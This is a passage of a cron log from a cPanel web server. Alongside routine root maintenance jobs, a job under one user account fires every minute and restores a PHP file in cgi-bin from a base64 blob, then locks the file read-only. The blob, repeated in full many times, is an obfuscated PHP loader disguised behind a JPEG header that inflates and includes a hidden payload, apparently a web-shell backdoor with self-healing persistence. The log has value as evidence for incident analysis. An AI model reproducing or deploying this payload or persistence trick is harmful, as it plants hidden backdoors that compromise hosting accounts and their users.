QKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:05:01 server CROND[16905]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:05:01 server CROND[16903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:06:01 server CROND[17744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:06:01 server CROND[17746]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:06:01 server CROND[17745]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:07:01 server CROND[18130]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:07:01 server CROND[18131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:07:01 server CROND[18132]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:08:01 server CROND[18624]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:08:01 server CROND[18625]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:08:01 server CROND[18626]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:09:01 server CROND[19029]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:09:01 server CROND[19030]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:09:01 server CROND[19032]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 07:09:01 server CROND[19033]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:10:01 server CROND[19419]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 07:10:01 server CROND[19421]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 07:10:01 server CROND[19426]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 07:10:01 server CROND[19430]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:10:01 server CROND[19433]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 07:10:01 server CROND[19429]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 07:10:01 server CROND[19434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:10:01 server CROND[19432]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:11:01 server CROND[20378]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:11:01 server CROND[20379]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:11:01 server CROND[20380]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:12:01 server CROND[20753]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:12:01 server CROND[20755]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:12:01 server CROND[20754]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:12:01 server CROND[20756]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 07:13:01 server CROND[21218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:13:01 server CROND[21219]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:13:01 server CROND[21220]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:14:01 server CROND[21595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:14:01 server CROND[21596]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:14:01 server CROND[21597]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:15:01 server CROND[22034]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 07:15:01 server CROND[22035]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 07:15:01 server CROND[22039]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:15:01 server CROND[22048]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 07:15:01 server CROND[22047]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:15:01 server CROND[22049]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 07:15:01 server CROND[22050]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:15:01 server CROND[22046]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 07:16:01 server CROND[23015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:16:01 server CROND[23014]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:16:01 server CROND[23016]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:17:01 server CROND[23422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:17:01 server CROND[23423]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:17:01 server CROND[23424]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
